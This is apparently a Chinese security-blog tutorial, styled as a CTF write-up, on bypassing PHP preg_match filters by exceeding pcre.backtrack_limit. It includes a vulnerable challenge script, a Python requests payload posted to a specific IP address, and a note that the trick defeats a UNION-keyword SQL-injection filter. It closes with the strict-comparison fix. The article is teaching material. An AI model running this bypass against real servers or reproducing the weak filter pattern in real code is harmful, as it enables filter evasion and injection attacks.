免责声明
本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。
前言
<?php
error_reporting(0);
highlight_file(__FILE__);$a = $_POST['heizi'];
if (isset($a)){if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){ # 限制死了,aikun字符xiaojijiao
if ($a == "aikunxiaojijiao"){die("nononono");}
if (preg_match('/aikun.+?xiaojijiao/is',$a)){
/*. 匹配除换行的所有字符+ 匹配+号前的字符1次或多次?匹配?号前的字符0次或多次
i:不区分大小写
s:.可以表示换行*/
die("Hack!!!");}
system("ls"); # 目的
}else{die("what?");}
}
?>
由上所示,我们的目的就是输出
system("ls");
,可是前面三条if语句已经写死了,不可能数组绕过:preg_match只能处理字符串,当传入的subject是数组时会返回false
,不可能换行符绕过, s :.可以表示换行
先不急,先看如下的:
0x01 正则表达式是什么
-
正则表达式是一个可以被
有限状态自动机
接受的语言类。(有限状态自动机:要么匹配成功,要么失败) -
正则匹配通过正则引擎实现,正则引擎又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)
由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
0x02 回溯的过程是怎样的
对于
preg_match('/aikun.+?xiaojijiao/is',$a)
,如果$a=aikunaaaaxiaojijiao
-
首先匹配aikun -
aikun.+?中的.+可以匹配如下的aaaaxiaojijiao字符,然后匹配引擎发现xiaojijiao没有匹配的项了,开始向前回溯 -
.+开始匹配aaaaxiaojijia,xiaojijiao与a不匹配,又开始回溯 -
.+开始匹配aaaaxiaojiji,xiaojijiao与ao不匹配,又开始回溯。。。。 -
回溯到.+?开始匹配aaaa,xiaojijiao与xiaojijiao正好匹配,匹配完成
0x03 pcre.backtrack_limit限制利用
如上所示,如果一直匹配是不是会浪费系统资源,只要你写的正则足够复杂,你就可以让匹配引擎一直匹配,所有
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:(回溯次数上限默认是100)
import requests
data = {'heizi': 'aikun' +'a'*1000000 + 'xiaojijiao'
}
res = requests.post('http://182.148.156.200:9134/', data=data, allow_redirects=False)
print(res.text)
浪飒:我本地Windows测试10000000次才可绕过
如上所示写一个脚本,让匹配引擎匹配超过1000000次,preg_match(‘/aikun.+?xiaojijiao/is’,$a)返回false,目的达到
0x04 PCRE另一种错误的用法
对于sql注入,我们都知道就是字符匹配,发现使用了preg_match()函数就可以使用回溯进行绕过:
if(preg_match('/UNION/is', $input)) {die('SQL Injection');}
0x05 修复方法
如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值,就算回溯成功false也不全等于0
链接:https://www.rstk.cn/news/38858.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论